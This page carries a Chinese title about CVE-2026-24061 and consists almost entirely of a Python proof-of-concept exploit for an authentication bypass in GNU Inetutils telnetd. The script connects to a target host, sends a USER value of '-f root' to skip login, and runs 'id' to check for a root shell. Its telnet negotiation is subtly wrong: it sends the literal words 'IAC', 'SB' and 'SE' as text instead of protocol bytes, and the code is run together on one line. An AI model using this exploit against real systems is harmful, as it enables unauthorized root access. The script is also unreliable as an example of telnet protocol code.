CVE-2026-24061 GNU Inetutils telnetd远程认证绕过漏洞

#!/usr/bin/env python3 # CVE-2026-24061 PoC - GNU Inetutils telnetd Authentication Bypass # This PoC demonstrates the authentication bypass via USER environment variable import socket import sys def exploit_telnet(target_ip, target_port=23): """ Exploit CVE-2026-24061 by sending specially crafted USER environment variable The '-f root' value tricks telnetd into thinking root authentication is bypassed """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Read initial telnet greeting response = sock.recv(1024) print(f"[+] Received: {response.decode('utf-8', errors='ignore')}") # Send the exploit payload # telnet protocol uses IAC commands for option negotiation exploit_payload = b'IAC WILL SGA\r\nIAC DO TTYPE\r\n' sock.send(exploit_payload) # Send specially crafted USER variable with -f root # This bypasses authentication in vulnerable telnetd versions user_payload = b'IAC SB TTYPE TELNET_ENVIRON_VALUE USER\r\n-f root\r\nIAC SE\r\n' sock.send(user_payload) # Send NULL username to trigger login prompt sock.send(b'\r\n') # Receive response response = sock.recv(4096) print(f"[+] Response: {response.decode('utf-8', errors='ignore')}") # If successful, we should have a root shell # Try to execute id command sock.send(b'id\r\n') response = sock.recv(4096) print(f"[+] id command output: {response.decode('utf-8', errors='ignore')}") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print(f"[*] Exploiting CVE-2026-24061 on {target}:{port}") exploit_telnet(target, port)